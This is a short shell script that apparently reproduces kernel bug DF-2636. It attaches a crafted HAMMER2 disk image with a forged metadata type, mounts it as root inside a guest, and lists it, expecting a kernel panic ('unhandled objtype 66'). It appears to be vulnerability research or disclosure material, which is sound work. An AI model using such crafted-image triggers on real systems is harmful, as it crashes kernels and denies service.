DF-2636 / run.sh
#!/bin/sh # DF-2636 run (guest, root): mount forged image (bad meta.type), first # VFS_ROOT (ls) must panic "unhandled objtype 66". set -x cd /root/poc/df2636 vnconfig -u vn1 2>/dev/null || true vnconfig -c vn1 /root/poc/df2636/craft2636.img mkdir -p /mnt/h2636 mount_hammer2 -o ro /dev/vn1@testvol /mnt/h2636 || echo "MOUNT rc=$?" echo "=== ls: expect panic 'hammer2: unhandled objtype 66' ===" ls -la /mnt/h2636 echo "LS_RC=$? (reached only if no panic)" umount /mnt/h2636 2>/dev/null vnconfig -u vn1 2>/dev/null echo DF2636_RUN_DONE |